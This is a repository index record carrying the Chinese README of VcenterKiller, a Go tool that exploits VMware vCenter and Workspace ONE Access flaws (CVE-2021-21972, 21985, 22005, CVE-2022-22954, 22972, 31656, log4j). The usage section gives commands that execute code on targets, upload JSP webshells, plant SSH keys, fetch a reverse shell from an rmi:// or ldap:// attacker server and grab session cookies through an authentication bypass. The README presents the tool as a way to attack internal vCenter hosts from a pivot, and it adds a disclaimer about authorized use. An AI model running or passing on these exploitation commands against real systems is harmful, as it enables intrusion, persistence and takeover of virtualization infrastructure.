{"id":15132912,"url":"https://github.com/schira4396/vcenterkiller","last_synced_at":"2025-05-16T00:09:06.324Z","repository":{"id":60986626,"uuid":"545257457","full_name":"Schira4396/VcenterKiller","owner":"Schira4396","description":"一款针对Vcenter的综合利用工具，包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005、One Access的CVE-2022-22954、CVE-2022-22972/31656以及log4j，提供一键上传webshell，命令执行或者上传公钥使用SSH免密连接","archived":false,"fork":false,"pushed_at":"2024-04-25T06:09:38.000Z","size":6620,"stargazers_count":1404,"open_issues_count":4,"forks_count":167,"subscribers_count":15,"default_branch":"main","last_synced_at":"2025-05-16T00:08:46.026Z","etag":null,"topics":["go","golang","log4j","log4shell","scan","vcenter"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Schira4396.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-10-04T03:39:27.000Z","updated_at":"2025-05-15T10:42:00.000Z","dependencies_parsed_at":"2023-01-29T02:01:39.338Z","dependency_job_id":"9b01119b-b6ad-4a36-83e9-833b8eebe55f","html_url":"https://github.com/Schira4396/VcenterKiller","commit_stats":null,"previous_names":[],"tags_count":11,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Schira4396%2FVcenterKiller","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Schira4396%2FVcenterKiller/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Schira4396%2FVcenterKiller/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Schira4396%2FVcenterKiller/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Schira4396","download_url":"https://codeload.github.com/Schira4396/VcenterKiller/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254442856,"owners_count":22071878,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["go","golang","log4j","log4shell","scan","vcenter"],"created_at":"2024-09-26T04:41:39.558Z","updated_at":"2025-05-16T00:09:01.302Z","avatar_url":"https://github.com/Schira4396.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n![vckiller](https://socialify.git.ci/Schira4396/VcenterKiller/image?description=1\u0026descriptionEditable=%E4%B8%80%E6%AC%BE%E9%92%88%E5%AF%B9Vcenter%E7%9A%84%E7%BB%BC%E5%90%88%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7\u0026font=Inter\u0026forks=1\u0026issues=1\u0026language=1\u0026name=1\u0026owner=1\u0026pattern=Plus\u0026stargazers=1\u0026theme=Light)\n![GitHub Downloads (all assets, all releases)](https://img.shields.io/github/downloads/schira4396/vcenterkiller/total)\n\n\n# VcenterKiller\n\n#### -1.注意\n\n在本地搭建漏洞环境的兄弟，用vckiller验证log4j基本上会失败，因为在Vmware 虚拟机环境下用NAT模式的话，验证模块中的出口网卡会被判定为127.0.0.1，这样目标访问的LDAP Server地址就变成了127.0.0.1，验证就失败了😏\n\n#### 0.必读\n如果遇到bug请提issue，写这个工具单纯是为了方便，它没有什么高大上的东西\n\n\n\n#### 1.它是什么\n\n一款针对Vcenter的综合**验证**工具，包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005，提供一键上传webshell，命令执行或者上传公钥并使用SSH连接的功能，以及针对Apache Log4j CVE-2021-44228漏洞在Vcenter上的检测以及利用，比如命令执行并获取回显（~~需要一个ldap恶意服务器~~），现在不需要另外启动ldap服务器了，我根据jndi-injection工具手搓了一个利用方式，Vcenter使用的中间件是Tomcat，直接使用TomcatBypass的利用链就行了。\n\n#### 2.它的定位\n\n一般Vcenter都放在内网，并且漏洞特征也都是烂大街，像什么fscan啦一扫就出来了，那么VcenterKiller就不是用来检测目标是否存在漏洞的，而是直接尝试利用，一般通过CS/MSF在跳板上来执行，所以去掉了其余花里胡哨的输出。\n\n为什么用GO，因为Python写起来方便但是用起来很蛋疼，各种依赖库，并且编译出来体积太大，C#没法跨平台，写到一半扔了。\n\n#### 3.使用方法\n\n```bash\ngo build -o main.exe\n\n./main.exe -u https://192.168.1.1 -m 21985 -c whoami\n./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp\n./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp\n./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥\n./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx\n./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j\n./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami //也可以不指定ldap服务\n./main.exe -u https://xx.xx.com -m 22954 whoami\n./main.exe -u https://xx.xx.com -m 22972 //get cookie\n./main.exe -u https://xx.xx.com -m 31656 //If CVE-2022-22972不能用就换CVE-2022-31656\n```\n\n#### 4.免责声明\n\n本工具仅面向**合法授权**的企业安全建设行为，例如企业内部攻防演练、漏洞验证和复测，如您需要测试本工具的可用性，请自行搭建靶机环境。\n\n在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标使用。**\n\n如您在使用本工具的过程中存在任何非法行为，**您需自行承担相应后果**，我们将不承担任何法律及连带责任。\n\n#### 5.更新日志\n\n```bash\nV1.0 上线\nV1.1 针对CVE-2021-21985添加了利用rmi反弹shell的功能，前提是你要启动一个rmi服务器，例如jndi-injection-exploit\nV1.2 增加了针对Vcenter的log4j检测和验证能力\nV1.3 增加了对Vmware WorkSpace One Access的漏洞验证功能，包括CVE-2022-22954 远程命令执行；CVE-2022-22972、CVE-2022-31656身份鉴别绕过\nV1.3.1 修复了检测log4j时忽略了端口的问题，有的服务会更改默认的443端口\nV1.3.2 修改了针对log4j的利用方式，通过tomcatbypassEcho的方式执行命令并获取回显。vcenter 7.0 linux测试通过。\nV1.3.3 增加了对6.7和7.0版本的区别利用，7.0必须使用tomcatbypass，而6.7使用普通的basic就行了\nv1.3.4 修改了对log4j的验证逻辑，目前的逻辑是循环5次不同payload无差别乱打，有回显就有，没有就没有\nv1.3.5 消除了log4j对Jndi-Injection-Exploit的依赖，能够直接执行命令并获取回显\nv1.3.6 针对21972的ssh功能进行了修改并优化了其他细节\nv1.3.7 添加了代理功能，支持http和socks\nv1.3.8 还未开始，考虑添加功能...\n...\n```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fschira4396%2Fvcenterkiller","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fschira4396%2Fvcenterkiller","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fschira4396%2Fvcenterkiller/lists"}